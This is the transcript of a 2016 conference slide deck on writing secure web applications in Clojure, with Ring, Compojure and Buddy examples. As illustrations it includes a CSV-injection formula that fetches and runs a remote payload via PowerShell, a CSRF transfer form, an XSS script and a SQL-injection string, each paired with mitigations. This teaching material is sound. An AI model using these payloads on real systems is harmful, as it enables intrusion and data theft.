Secure Web Applications in Clojure

How can we build secure web applications in general? How can we write web applications in a functional programming language like Clojure? When we do write applications in Clojure, what do we need to take into account to maintain security?

Transcript

1. Secure Web Applications in Clojure CommitterConf 2016 Joy Clark
2. Who am I? Functional Programming Enthusiast Consultant at innoQ Deutschland GmbH Enjoy API Design Program in: Java, Clojure, Groovy, Python, Prolog, JavaScript
3. Clojure Crash Course ( p r i n t l n " H e l l o E s s e n ! " ) Lisp + JVM Functional programming language Simple programming model Immutable Data Structures
4. Clojure Crash Course { : n a m e " C l o j u r e " : f e a t u r e s [ : f u n c t i o n a l : j v m : p a r e n s ] : c r e a t o r " R i c h H i c k e y " : s t a b l e - v e r s i o n { : n u m b e r " 1 . 8 . 0 " : r e l e a s e " 2 0 1 6 / 0 1 / 1 9 " } }
5. Clojure Crash Course ( + 1 2 3 ) > 6 ( : c i t y { : n a m e " i n n o Q " : c i t y " M o n h e i m " } ) > " M o n h e i m " ( m a p i n c [ 1 2 3 ] ) > ( 2 3 4 )
6. Web Security As always... check the OWASP Top 10 2013 Injection Weak Authentication / Session Handling XSS Insecure Object References Security Misconfigurations Sensitive Data Exposure Missing Function Level Access Control Cross Site Request Forgery Using Components with Known Vulnerabilities Unvalidated Redirects and Forwards still relevant today? -> OWASP Top 10 2016 not yet out but on its way. Meanwhile...
7. But a framework can do that right?
8. Some Advisories (Bashing PHP)
9. Some Advisories (Bashing Python)
10. Some Advisories (Bashing Ruby)
11. Some Advisories (Bashing Java)
12. Security ≠ Magical Frameworks (public-domain Vasnetsov - belygorod.ru)
13. CSV Injection Example HTML Injection = H Y P E R L I N K ( " h t t p : / / e v i l . t m " ; " D e t a i l e d I n f o r m a t i o n " ) Launching the calculator = c m d | ' / C c a l c ' ! A 0 Use wget extension to download and execute remote payload = p o w e r s h e l l | ' I E X ( w g e t 0 r . p e / p ) ' ! A 0 Source: https://blog.zsec.uk/csv-dangers-mitigations/
14. Security = Teamwork + Review (cc-by Kevin Dooley - flic.kr/p/dxCnzT)
15. How to Write a Secure Web Application Maintain your application Stay informed! Register for Security Advisories KISS Know what you are doing Monitor your Application
16. Clojure Web Applications
17. HTTP with Clojure Java HTTP Server Ring Server Adapter request response  request response Ring - HTTP Server abstraction Request & response are data A web app is a function which takes a request and returns a response https://github.com/ring-clojure/ring/blob/master/SPEC
18. Ring Requests & Responses ( d e f r e q u e s t { : u r i " / " : r e q u e s t - m e t h o d : g e t : h e a d e r s { " A c c e p t " " t e x t / p l a i n " } } ) ( d e f n e x a m p l e - a p p [ r e q ] { : s t a t u s 2 0 0 : b o d y ( s t r " H e l l o " ( : u r i r e q ) " ! " ) } ) ( r i n g . a d a p t e r . j e t t y / r u n - j e t t y e x a m p l e - a p p { : p o r t 4 0 0 0 } ) webapp Java HTTP Server Ring Server Adapter
19. Ring Middleware modi ed request (i.e. added session info) modi ed response (i.e. added headers) request response middleware modi ed request modi ed response response modi ed request response request condition? tru e fa ls e ( d e f n m i d d l e w a r e [ h a n d l e r ] ( f n [ r e q u e s t ] ; ; M o d i f y r e q u e s t b e f o r e s e n d i n g i t t o t h e w e b a p p ( l e t [ r e s p o n s e ( h a n d l e r r e q u e s t ) ] ; ; m o d i f y r e s p o n s e b e f o r e r e t u r n i n g i t t o t h e u s e r r e s p o n s e ) ) )
20. Routing with Compojure  route 1 route 2 route 3 not-found request response ( d e f r o u t e s a p p - r o u t e s ( G E T " / " r e q u e s t ( l i s t - u s e r s r e q u e s t ) ) ( P O S T " / " { p a r a m s : p a r a m s : a s r e q u e s t } ( a d d - u s e r r e q u e s t p a r a m s ) ) ( G E T " / : u s e r n a m e " [ u s e r n a m e : a s r e q u e s t ] ( g e t - u s e r r e q u e s t u s e r n a m e ) ) ( P U T " / : u s e r n a m e " [ u s e r n a m e e m a i l p a s s w o r d : a s r e q u e s t ] ( u p d a t e - u s e r r e q u e s t u s e r n a m e e m a i l p a s s w o r d ) ) ( D E L E T E " / : u s e r n a m e " [ u s e r n a m e ] ( d e l e t e - u s e r u s e r n a m e ) ) )
21. Putting it all together ( d e f w e b a p p ( - > a p p - r o u t e s a u t h - m i d d l e w a r e ( w r a p - d e f a u l t s s e c u r e - s i t e - d e f a u l t s ) ) ) ( r i n g . a d a p t e r . j e t t y / r u n - j e t t y w e b a p p { : p o r t 4 0 0 0 } ) auth? h a n d le n o a u th ring secure defaults GET /:user POST / GET / PUT /:user DELETE /:user not-found list users add user get user update user delete user handle not found Java HTTP Server Ring Server Adapter
22. Ecosystem Overview
23. So let's try it!
24. CSRF < i m g s r c = " h t t p s : / / b a n k . c o m / t r a n s f e r ? a c c t = j o y & a m o u n t = 1 0 0 0 0 " w i d t h = " 0 " h e i g h t = " 0 " b o r d e r = " 0 " > < f o r m a c t i o n = " h t t p s : / / b a n k . c o m / t r a n s f e r " m e t h o d = " P O S T " > < i n p u t t y p e = " h i d d e n " n a m e = " a c c t " v a l u e = " j o y " / > < i n p u t t y p e = " h i d d e n " n a m e = " a m o u n t " v a l u e = " 1 0 0 0 0 " / > < i n p u t t y p e = " s u b m i t " v a l u e = " D o s o m e t h i n g i n n o c e n t ! " / > < / f o r m >
25. ring.middleware.anti-forgery ( r e q u i r e ' [ r i n g . m i d d l e w a r e . a n t i - f o r g e r y : r e f e r [ * a n t i - f o r g e r y - t o k e n * ] ] ) ( s e l m e r . p a r s e r / r e n d e r - f i l e " i n d e x . h t m l " { : a n t i f o r g e r y * a n t i - f o r g e r y - t o k e n * } ) i n d e x . h t m l : < f o r m . . . > < i n p u t n a m e = " _ _ a n t i - f o r g e r y - t o k e n " t y p e = " h i d d e n " v a l u e = " { { a n t i f o r g e r y } } " / > . . . < / f o r m >
26. HTTPS ( d e f o p t i o n s { : p o r t 3 0 0 0 : j o i n ? f a l s e : s s l ? t r u e : s s l - p o r t 4 0 0 0 : k e y s t o r e " s s l / k e y s t o r e " : k e y - p a s s w o r d " s o m e s e c r e t " : h o s t " e x a m p l e . c o m " } ) ( r i n g . a d a p t e r . j e t t y / r u n - j e t t y w e b a p p o p t i o n s ) Use SSL! Attacks don't stop at your Reverse Proxy.
27. Validate Input - Escape Output ( r e q u i r e ' [ b o u n c e r . v a l i d a t o r s : a s v ] ) ( d e f e m a i l - r e g e x # " ^ $ | ^ [ a - z A - Z 0 - 9 . _ % + - ] + @ [ a - z A - Z 0 - 9 . - ] + \ . [ a - z A - Z ] { 2 , 6 3 } $ " ) ( b o u n c e r . c o r e / v a l i d a t e { : e m a i l " 1 2 3 " } : u s e r n a m e [ v / r e q u i r e d v / s t r i n g ] : e m a i l [ v / s t r i n g [ v / m a t c h e s e m a i l - r e g e x ] ] : p a s s w o r d [ v / r e q u i r e d v / s t r i n g ] ) > [ { : u s e r n a m e ( " u s e r n a m e m u s t b e p r e s e n t " ) : e m a i l ( " e m a i l m u s t s a t i s f y t h e g i v e n p a t t e r n " ) : p a s s w o r d ( " p a s s w o r d m u s t b e p r e s e n t " ) } { : e m a i l " 1 2 3 " : b o u n c e r . c o r e / e r r o r s { : u s e r n a m e ( " u s e r n a m e m u s t b e p r e s e n t " ) : e m a i l ( " e m a i l m u s t s a t i s f y t h e g i v e n p a t t e r n " ) : p a s s w o r d ( " p a s s w o r d m u s t b e p r e s e n t " ) } } ]
28. Validate Input - Escape Output ( s e l m e r . p a r s e r / r e n d e r " H e l l o { { n a m e } } ! " { : n a m e " < s c r i p t > a l e r t ( ' h i ! ' ) ; < / s c r i p t > " } ) > " H e l l o & l t ; s c r i p t & g t ; a l e r t ( & # 3 9 ; h i ! & # 3 9 ; ) ; & l t ; / s c r i p t & g t ; ! "
29. Validate Input - Escape Output Templating Language Escaping by default? # GitHub References Last Updated No 15744 29 Mar 2016 Yes 11628 11 Dec 2015 Yes 7432 9 Jul 2016 Yes 3852 23 Jun 2016 No 1983 10 Nov 2014 hiccup hbs enlive Selmer fleet Statistics taken on 26 August 2016
30. XSS ( d e f n g e t - h t m l [ n a m e ] ( s t r " < d i v > H i " n a m e " ! < / d i v > " ) ) ( g e t - h t m l " < s c r i p t > a l e r t ( ' E v i l X S S ! ' ) ; < / s c r i p t > " ) > " < d i v > H i < s c r i p t > a l e r t ( ' E v i l X S S ! ' ) ; < / s c r i p t > ! < / d i v > "
31. SQL Injection ( d e f n q u e r y - u s e r [ u s e r n a m e ] ( s q l / q u e r y d b - c o n n [ ( s t r " S E L E C T * F R O M U s e r s W H E R E U s e r n a m e = ' " u s e r n a m e " ' ; " ) ] ) ) ( q u e r y - u s e r " f r e d ' o r ' a ' = ' a " ) > Dumps all information from the U s e r s database
32. Parameterize SQL Queries d b / u s e r s . s q l : - - n a m e : g e t - u s e r S E L E C T * F R O M U s e r s W H E R E U s e r n a m e = : u s e r n a m e ; ( y e s q l . c o r e / d e f q u e r i e s " d b / u s e r s . s q l " { : c o n n e c t i o n d b - c o n n } ) ( g e t - u s e r { : u s e r n a m e " f r e d " } ) > { : u s e r n a m e " f r e d " : e m a i l " m r . f r o g g y @ q u a c k e r s . c o m " : u s e r i d 4 : p a s s w o r d " . . . s o m e b y c r y p t h a s h . . . " }
33. Authentication & Authorization How do I know if the user is who he says he is? How do I know if the user is allowed to access a resource?
34. Introducing Buddy
35. Buddy-Auth Ring Middleware Integration Authentication information saved in :identity in the request map Different Backends: HTTP Basic, Session, Token, Signed JWT, Encrpyted JWT Possibility to implement custom authentication backend (e.g. via reify)
36. Simple Auth Example ( r e q u i r e ' [ b u d d y . a u t h . b a c k e n d s : a s b a c k e n d s ] ) ( d e f n l d a p - a u t h [ r e q u e s t a u t h ] ( l e t [ u s e r n a m e ( : u s e r n a m e a u t h ) p a s s w o r d ( : p a s s w o r d a u t h ) ] ; d o m a g i c l d a p a u t h e n t i a t i o n ; r e t u r n l o g i c a l t r u e u s e r n a m e ) ) ( d e f b a c k e n d ( b a c k e n d s / b a s i c { : r e a l m " m y A P I " : a u t h f n l d a p - a u t h } ) )
37. Authorization with Buddy ( d e f a c c e s s - r u l e s [ { : u r i " / u s e r s " : h a n d l e r b u d d y . a u t h / a u t h e n t i c a t e d ? : r e q u e s t - m e t h o d : g e t } { : u r i " / u s e r s / : u s e r n a m e / e d i t " : h a n d l e r i s - u s e r ? : r e q u e s t - m e t h o d : g e t } { : u r i " / u s e r s / : u s e r n a m e " : h a n d l e r i s - u s e r ? : r e q u e s t - m e t h o d # { : p u t : d e l e t e : p o s t } } ] ) ( d e f n i s - u s e r ? [ r e q u e s t ] ( w h e n - l e t [ { u s e r : u s e r } ( : i d e n t i t y r e q u e s t ) ] ( = u s e r ( g e t - i n r e q u e s t [ : m a t c h - p a r a m s : u s e r n a m e ] ) ) ) )
38. Auth Middleware ( d e f n e r r o r - r e d i r e c t [ r e q u e s t _ v a l u e ] ( r e d i r e c t - t o - l o g i n ( r e q u e s t - u r l r e q u e s t ) ) ) ( d e f n a u t h - m i d d l e w a r e [ h a n d l e r ] ( l e t [ b a c k e n d ( a u t h - b a c k e n d s e c r e t ) ] ( - > h a n d l e r ( w r a p - a c c e s s - r u l e s { : r u l e s a c c e s s - r u l e s : o n - e r r o r e r r o r - r e d i r e c t } ) ( w r a p - a u t h e n t i c a t i o n b a c k e n d ) ) ) )
39. Unvalidated Redirects and Forwards ( d e f s i t e - u r l " h t t p s : / / q u a c k e r s . c o m : 4 0 0 0 " ) ( d e f n c h e c k - r e d i r e c t [ u r l ] ( i f u r l ( i f ( s t a r t s - w i t h ? u r l s i t e - u r l ) u r l s i t e - u r l ) s i t e - u r l ) ) ( d e f n r e d i r e c t - t o - l o g i n [ r e d i r e c t - u r l ] ( r e d i r e c t ( s t r " / l o g i n ? r e d i r e c t - t o = " ( c h e c k - r e d i r e c t r e d i r e c t - u r l ) ) ) )
40. Denial of Service Attacks Making a service unavailable for the purpose for which it was intended. An attacker has more resources than a victim OR Victim requires more resources to process a request than the attacker requires to send it.
41. Naive - Limit defined by user ( d e f n i n d e x [ r e q u e s t ] ( l e t [ l i m i t ( - > i n t ( g e t - i n r e q u e s t [ : q u e r y - p a r a m s " l i m i t " ] " 1 0 " ) ) o f f s e t ( - > i n t ( g e t - i n r e q u e s t [ : q u e r y - p a r a m s " o f f s e t " ] " 0 " ) ) q u a c k s ( d b / g e t - q u a c k s { : l i m i t l i m i t : o f f s e t o f f s e t } ) ] ( r e n d e r - i n d e x r e q u e s t q u a c k s ) ) )
42. Better - Sensible Defaults ( d e f n g e t - l i m i t [ r e q u e s t ] ( t r y ( l e t [ p a r a m ( g e t - i n r e q u e s t [ : q u e r y - p a r a m s " l i m i t " ] ) i ( - > i n t p a r a m ) ] ( m i n i 5 0 0 ) ) ( c a t c h E x c e p t i o n e 1 0 ) ) ) ( d e f n g e t - o f f s e t [ r e q u e s t ] ( t r y ( l e t [ p a r a m ( g e t - i n r e q u e s t [ : q u e r y - p a r a m s " o f f s e t " ] ) ] ( - > i n t p a r a m ) ) ( c a t c h E x c e p t i o n e 0 ) ) ) ( d e f n i n d e x [ r e q u e s t ] ( l e t [ l i m i t ( g e t - l i m i t r e q u e s t ) o f f s e t ( g e t - o f f s e t r e q u e s t ) q u a c k s ( d b / g e t - q u a c k s { : l i m i t l i m i t : o f f s e t o f f s e t } ) ] ( r e n d e r - i n d e x r e q u e s t q u a c k s ) ) )
43. HTTP Security Headers ( d e f m i d d l e w a r e - s e t t i n g s { : s e s s i o n { : c o o k i e - a t t r s { : h t t p - o n l y t r u e : s e c u r e t r u e } } : s e c u r i t y { : a n t i - f o r g e r y t r u e : x s s - p r o t e c t i o n { : e n a b l e ? t r u e , : m o d e : b l o c k } : f r a m e - o p t i o n s : s a m e o r i g i n : c o n t e n t - t y p e - o p t i o n s : n o s n i f f : s s l - r e d i r e c t t r u e : h s t s t r u e } } ) "Ring-Defaults", e.g."api-defaults", "site-defaults", "secure-site-defaults", ...
44. Content Security Policy HTTP Header C o n t e n t - S e c u r i t y - P o l i c y : < P O L I C Y > Can "turn-off" Inline JavaScript and plugins Limit valid sources per content-type Provide Hashes and Nonces Reporting
45. CSP of Twitter.com c o n t e n t - s e c u r i t y - p o l i c y : s c r i p t - s r c h t t p s : / / c o n n e c t . f a c e b o o k . n e t h t t p s : / / c m . g . d o u b l e c l i c k . n e t [ . . ] ' u n s a f e - e v a l ' [ . . ] h t t p s : / / * . t w i m g . c o m h t t p s : / / a p i . t w i t t e r . c o m ' n o n c e - s w 4 H 7 y Z e W d I f c y r j z O 5 9 5 Q = = ' [ . . ] ' s e l f ' ; f r a m e - a n c e s t o r s ' s e l f ' ; f o n t - s r c [ . . ] m e d i a - s r c [ . . ] c o n n e c t - s r c [ . . ] s t y l e - s r c [ . . ] ' u n s a f e - i n l i n e ' ' s e l f ' ; o b j e c t - s r c [ . . ] f r a m e - s r c [ . . ] i m g - s r c [ . . ] h t t p s : / / * . g i p h y . c o m [ . . ] r e p o r t - u r i h t t p s : / / t w i t t e r . c o m / i / c s p _ r e p o r t ? a = 4 7 1 1 2 3 4 2 & r o = f a l s e ;
46. Thank you! https://www.innoq.com/en/talks/2016/10/sichere- webanwendungen-clojure-committerconf/ Joy Clark joy.clark@innoq.com @iamjoyclark